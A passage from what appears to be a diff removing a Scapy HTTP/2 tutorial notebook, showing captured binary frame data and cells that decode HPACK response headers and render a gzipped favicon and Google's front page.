04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7<B\\xf3x%\\xc2\\x99\\xc0\\x9a\\xc9O\\xa1\\x94M\\x9eT\\x9f\\xce\\xbb7\\xd2\\x97x\\x188\\xf3\\xf9\\xab\\x17\\xc9\\xafo/\\xce\\xaf\\xae\\xf4_\\x9f\\xaf\\xfex\\xf3\\x9f\\xc1\\xf3\\xd1s\\xfdi\\xfc\\xe2z|\\xf9\\xe3\\xf0Y\\xa5S\\x06\\xb1\\xbdzlF\\xe1J/ke\\xb7l?\\xb7N\\xf0O+\\xbd\\x9ahN\\xa8\\x9b\\xb2;[14}\\xa2\\x9c(\\x0f\\xc5\\xcdR4\\t(\\x1e\\xb4\\xbc\\xa2\\xde\\x1d\\x18\\x00\\xca\\xa7E\\x08\\xae)BY\\xd1\\xcb\\xca\\xee\\x9b\\xa4\\xe0\\x071/\\t}\\x99\\xba\\xab-\\x91mwy]+}\\xef\\xb5\\xbc\\xef\\xf9\\xa9\\xd3\\\\\\xc5\\xaae\\xe9\\xa3m\\xec\\xfd\\x83osS\\x1eB\\xa9\\x97\\xbfG4\\xd5\\xdd\\xe9{!y\\xe0U\\xf9\\x01\\xbd\\xbf?p{\\xe5]y\\x85R\\x1f6U\\xd0\\xf4\\xf9\\x9b7\\xfa9\\xa4\\x11({\\xf0z\\xdc\\x93\\x9f\\xbf\\xa6>{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n",
- " | padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n",
- "\n"
- ]
- }
- ],
- "prompt_number": 113
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Now, I don't know about you, but I can't read this :) Let's use the helpers to help us out.\n",
- "\n",
- "First we need to create a new Header table that is meaningful for headers received from the server. We set the various sizes to the values we defined in our settings."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "srv_tblhdr = h2.HPackHdrTable(dynamic_table_max_size=max_hdr_tbl_sz, dynamic_table_cap_size=max_hdr_tbl_sz)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 114
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's now convert all received headers into their textual representation, and stuff the data frames into a buffer per stream."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "# Structure used to store textual representation of the stream headers\n",
- "stream_txt = {}\n",
- "# Structure used to store data from each stream\n",
- "stream_data = {}\n",
- "\n",
- "# For each frame we previously received\n",
- "for frame in stream.frames:\n",
- " # If this frame is a header\n",
- " if frame.type == h2.H2HeadersFrame.type_id:\n",
- " # Convert this header block into its textual representation.\n",
- " # For the sake of simplicity of this tutorial, we assume \n",
- " # that the header block is not large enough to require a Continuation frame\n",
- " stream_txt[frame.stream_id] = srv_tblhdr.gen_txt_repr(frame)\n",
- " # If this frame is data\n",
- " if frame.type == h2.H2DataFrame.type_id:\n",
- " if frame.stream_id not in stream_data:\n",
- " stream_data[frame.stream_id] = []\n",
- " stream_data[frame.stream_id].append(frame)"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [],
- "prompt_number": 115
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Now, we can print the headers from the Favicon response."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "print(stream_txt[3])"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- ":status 200\n",
- "vary: Accept-Encoding\n",
- "content-encoding: gzip\n",
- "content-type: image/x-icon\n",
- "date: Thu, 08 Dec 2016 06:23:59 GMT\n",
- "expires: Fri, 16 Dec 2016 06:23:59 GMT\n",
- "last-modified: Thu, 08 Dec 2016 01:00:57 GMT\n",
- "x-content-type-options: nosniff\n",
- "server: sffe\n",
- "content-length: 1494\n",
- "x-xss-protection: 1; mode=block\n",
- "cache-control: public, max-age=691200\n",
- "age: 472252\n",
- "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n"
- ]
- }
- ],
- "prompt_number": 116
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "So, we received a 200 status code, meaning that we received the favicon. We also can see that the favicon is GZipped. Let's uncompress it and display it in this notebook."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "import zlib\n",
- "img = zlib.decompress(stream_data[3][0].data, 16+zlib.MAX_WBITS)\n",
- "from IPython.core.display import HTML\n",
- "HTML('<img src=\"data:image/x-icon;base64,{}\" />'.format(img.encode('base64')))"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "html": [
- "<img src=\"data:image/x-icon;base64,AAABAAIAEBAAAAEAIABoBAAAJgAAACAgAAABACAAqBAAAI4EAAAoAAAAEAAAACAAAAABACAAAAAA\n",
- "AAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///zD9/f2W/f392P39/fn9/f35\n",
- "/f391/39/ZT+/v4uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+Cf39/Zn/////////////////\n",
- "//////////////////////////39/ZX///8IAAAAAAAAAAAAAAAA/v7+Cf39/cH/////+v35/7TZ\n",
- "p/92ul3/WKs6/1iqOv9yuFn/rNWd//j79v///////f39v////wgAAAAAAAAAAP39/Zn/////7PXp\n",
- "/3G3WP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP+Or1j//vDo///////9/f2VAAAAAP///zD/////\n",
- "+vz5/3G3V/9TqDT/WKo6/6LQkf/U6cz/1urO/6rUm/+Zo0r/8IZB//adZ////v7///////7+/i79\n",
- "/f2Y/////4nWzf9Lqkj/Vqo4/9Xqzv///////////////////////ebY//SHRv/0hUL//NjD////\n",
- "///9/f2U/f392v////8sxPH/Ebzt/43RsP/////////////////////////////////4roL/9IVC\n",
- "//i1jf///////f391/39/fr/////Cr37/wW8+/+16/7/////////////////9IVC//SFQv/0hUL/\n",
- "9IVC//SFQv/3pnX///////39/fn9/f36/////wu++/8FvPv/tuz+//////////////////SFQv/0\n",
- "hUL/9IVC//SFQv/0hUL/96p7///////9/f35/f392/////81yfz/CrL5/2uk9v//////////////\n",
- "/////////////////////////////////////////f392P39/Zn/////ks/7/zdS7P84Rur/0NT6\n",
- "///////////////////////9/f////////////////////////39/Zb+/v4y//////n5/v9WYu3/\n",
- "NUPq/ztJ6/+VnPT/z9L6/9HU+v+WnfT/Ul7t/+Hj/P////////////////////8wAAAAAP39/Z3/\n",
- "////6Or9/1hj7v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v9sdvD////////////9/f2YAAAAAAAA\n",
- "AAD///8K/f39w//////5+f7/paz2/11p7v88Suv/Okfq/1pm7v+iqfX/+fn+///////9/f3B/v7+\n",
- "CQAAAAAAAAAAAAAAAP///wr9/f2d///////////////////////////////////////////9/f2Z\n",
- "/v7+CQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/jL9/f2Z/f392/39/fr9/f36/f392v39/Zj/\n",
- "//8wAAAAAAAAAAAAAAAAAAAAAPAPAADAAwAAgAEAAIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAIABAACAAQAAwAMAAPAPAAAoAAAAIAAAAEAAAAABACAAAAAAAAAQAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/g3+/v5X\n",
- "/f39mf39/cj9/f3q/f39+f39/fn9/f3q/f39yP39/Zn+/v5W////DAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+\n",
- "/iT9/f2c/f399f/////////////////////////////////////////////////////9/f31/f39\n",
- "mv7+/iMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAP7+/gn9/f2K/f39+///////////////////////////////////////////////////////\n",
- "/////////////////////f39+v39/Yf///8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAAAAAAD+/v4k/f390v//////////////////////////////////////////////\n",
- "//////////////////////////////////////////////////39/dD///8iAAAAAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////MP39/er//////////////////////////+r05v+v\n",
- "16H/gsBs/2WxSf9Wqjj/Vqk3/2OwRv99vWX/pdKV/97u2P////////////////////////////39\n",
- "/ej+/v4vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/iT9/f3q////////////////////\n",
- "/+v15/+Pxnv/VKk2/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/36+Z//d7tf/\n",
- "//////////////////////39/ej///8iAAAAAAAAAAAAAAAAAAAAAAAAAAD///8K/f390///////\n",
- "///////////////E4bn/XKw+/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1Oo\n",
- "NP9TqDT/U6g0/1apN/+x0pv///////////////////////39/dD///8IAAAAAAAAAAAAAAAAAAAA\n",
- "AP39/Yv/////////////////////sdij/1OoNP9TqDT/U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/\n",
- "U6g0/1OoNP9TqDT/U6g0/1OoNP9TqDT/YKU1/8qOPv/5wZ////////////////////////39/YcA\n",
- "AAAAAAAAAAAAAAD+/v4l/f39+////////////////8Lgt/9TqDT/U6g0/1OoNP9TqDT/U6g0/1Oo\n",
- "NP9utlT/n86N/7faqv+426v/pdKV/3u8ZP9UqDX/U6g0/3egN//jiUH/9IVC//SFQv/82MP/////\n",
- "/////////////f39+v7+/iMAAAAAAAAAAP39/Z3////////////////q9Ob/W6w+/1OoNP9TqDT/\n",
- "U6g0/1OoNP9nskz/zOXC/////////////////////////////////+Dv2v+osWP/8YVC//SFQv/0\n",
- "hUL/9IVC//WQVP/++fb//////////////////f39mgAAAAD+/v4O/f399v///////////////4LH\n",
- "j/9TqDT/U6g0/1OoNP9TqDT/dblc//L58P//////////////////////////////////////////\n",
- "///8+v/3p3f/9IVC//SFQv/0hUL/9IVC//rIqf/////////////////9/f31////DP7+/ln/////\n",
- "///////////f9v7/Cbz2/zOwhv9TqDT/U6g0/2KwRv/v9+z/////////////////////////////\n",
- "//////////////////////////738//1kFT/9IVC//SFQv/0hUL/9plg////////////////////\n",
- "///+/v5W/f39nP///////////////4jf/f8FvPv/Bbz7/yG1s/9QqDz/vN2w////////////////\n",
- "//////////////////////////////////////////////////rHqP/0hUL/9IVC//SFQv/0hUL/\n",
- "/vDn//////////////////39/Zn9/f3L////////////////R878/wW8+/8FvPv/Bbz7/y7C5P/7\n",
- "/fr//////////////////////////////////////////////////////////////////ere//SF\n",
- "Qv/0hUL/9IVC//SFQv/718H//////////////////f39yP39/ez///////////////8cwvv/Bbz7\n",
- "/wW8+/8FvPv/WNL8///////////////////////////////////////0hUL/9IVC//SFQv/0hUL/\n",
- "9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//rIqv/////////////////9/f3q/f39+v//////\n",
- "/////////we9+/8FvPv/Bbz7/wW8+/993P3///////////////////////////////////////SF\n",
- "Qv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/+cGf////////////////\n",
- "//39/fn9/f36////////////////B737/wW8+/8FvPv/Bbz7/33c/f//////////////////////\n",
- "////////////////9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/6\n",
- "xaX//////////////////f39+f39/e3///////////////8cwvv/Bbz7/wW8+/8FvPv/WdP8////\n",
- "///////////////////////////////////0hUL/9IVC//SFQv/0hUL/9IVC//SFQv/0hUL/9IVC\n",
- "//SFQv/0hUL/9IVC//vVv//////////////////9/f3q/f39y////////////////0bN/P8FvPv/\n",
- "Bbz7/wW8+/8hrvn/+/v/////////////////////////////////////////////////////////\n",
- "//////////////////////////////////////////////////////////39/cj9/f2c////////\n",
- "////////ht/9/wW8+/8FvPv/FZP1/zRJ6/+zuPf/////////////////////////////////////\n",
- "////////////////////////////////////////////////////////////////////////////\n",
- "/f39mf7+/lr////////////////d9v7/B7n7/yB38f81Q+r/NUPq/0hV7P/u8P3/////////////\n",
- "////////////////////////////////////////////////////////////////////////////\n",
- "///////////////////+/v5X////D/39/ff///////////////9tkPT/NUPq/zVD6v81Q+r/NUPq\n",
- "/2Fs7//y8v7////////////////////////////////////////////09f7/////////////////\n",
- "/////////////////////////////////f399f7+/g0AAAAA/f39n////////////////+Tm/P89\n",
- "Suv/NUPq/zVD6v81Q+r/NUPq/1Bc7f/IzPn/////////////////////////////////x8v5/0xY\n",
- "7P+MlPP////////////////////////////////////////////9/f2cAAAAAAAAAAD+/v4n/f39\n",
- "/P///////////////7W69/81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v9ZZe7/k5v0/6609/+vtff/\n",
- "lJv0/1pm7v81Q+r/NUPq/zVD6v+GjvL//v7//////////////////////////////f39+/7+/iQA\n",
- "AAAAAAAAAAAAAAD9/f2N/////////////////////6Cn9f81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD\n",
- "6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v+BivL/////////////////////\n",
- "///////9/f2KAAAAAAAAAAAAAAAAAAAAAP7+/gv9/f3V/////////////////////7W69/8+S+v/\n",
- "NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/P0zr/7q/+P//\n",
- "/////////////////////f390v7+/gkAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/ib9/f3r////////\n",
- "/////////////+Xn/P94gfH/NkTq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NUPq/zVD6v81Q+r/NkTq\n",
- "/3Z/8f/l5/z///////////////////////39/er+/v4kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAP7+/jL9/f3r///////////////////////////k5vz/nqX1/2p08P9IVez/OEbq/zdF6v9G\n",
- "U+z/aHLv/5qh9f/i5Pz////////////////////////////9/f3q////MAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7+/ib9/f3V////////////////////////////////////\n",
- "/////////////////////////////////////////////////////////////f390v7+/iQAAAAA\n",
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wr9/f2N/f39/P//////\n",
- "/////////////////////////////////////////////////////////////////////f39+/39\n",
- "/Yv+/v4JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAAD+/v4n/f39n/39/ff/////////////////////////////////////////////////////\n",
- "/f399v39/Z3+/v4lAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+Dv7+/lr9/f2c/f39y/39/e39/f36/f39+v39\n",
- "/ez9/f3L/f39nP7+/ln+/v4OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
- "AP/AA///AAD//AAAP/gAAB/wAAAP4AAAB8AAAAPAAAADgAAAAYAAAAEAAAAAAAAAAAAAAAAAAAAA\n",
- "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAABgAAAAcAAAAPAAAAD4AAAB/AAAA/4\n",
- "AAAf/AAAP/8AAP//wAP/\n",
- "\" />"
- ],
- "metadata": {},
- "output_type": "pyout",
- "prompt_number": 117,
- "text": [
- "<IPython.core.display.HTML at 0x7f26f59bfc10>"
- ]
- }
- ],
- "prompt_number": 117
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Let's now read the frontpage response."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "print(stream_txt[1])"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "output_type": "stream",
- "stream": "stdout",
- "text": [
- ":status 200\n",
- "date: Tue, 13 Dec 2016 17:34:51 GMT\n",
- "expires: -1\n",
- "cache-control: private, max-age=0\n",
- "content-type: text/html; charset=ISO-8859-1\n",
- "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n",
- "content-encoding: gzip\n",
- "server: gws\n",
- "content-length: 4420\n",
- "x-xss-protection: 1; mode=block\n",
- "x-frame-options: SAMEORIGIN\n",
- "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n",
- "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n"
- ]
- }
- ],
- "prompt_number": 118
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "So, we received a status code 200, which means that we received a page. Let's \"visualize it\"."
- ]
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "data = ''\n",
- "for frgmt in stream_data[1]:\n",
- " data += frgmt.payload.data\n",
- "\n",
- "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode('UTF-8', 'ignore'))"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "html": [
- "<!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/WebPage\" lang=\"fr\"><head><meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\"><meta content=\"/images/branding/googleg/1x/googleg_standard_color_128dp.png\" itemprop=\"image\"><title>Google</title><script>(function(){window.google={kEI:'OzFQWJ_-L4OZaPm9ntgO',kEXPI:'750721,1351903,3700243,4029815,4032677,4038012,4041899,4043492,4045841,4048347,4055745,4062666,4065787,4067860,4068550,4069838,4069841,4072602,4072775,4073405,4073728,4073959,4074597,4074955,4076095,4076931,4076999,4078438,4078456,4078764,4079106,4079442,4079626,4079894,4079954,4080167,4081037,4081039,4082056,4082165,4082217,4082619,4083476,4084298,4084343,4084956,4085057,4085627,4086011,4086290,4086863,4087718,4087977,4088429,4088436,4088448,4088643,4089003,4089106,4089337,4089346,4089481,4089538,4089696,4089741,4089749,4090086,4090352,4090401,4090445,4090806,8300096,8300272,8300478,8506615,8507381,8507419,8507858,8507899,8508059,8508065,8508590,8508957,8509066,8509243,10200083,13500022',authuser:0,kscs:'c9c918f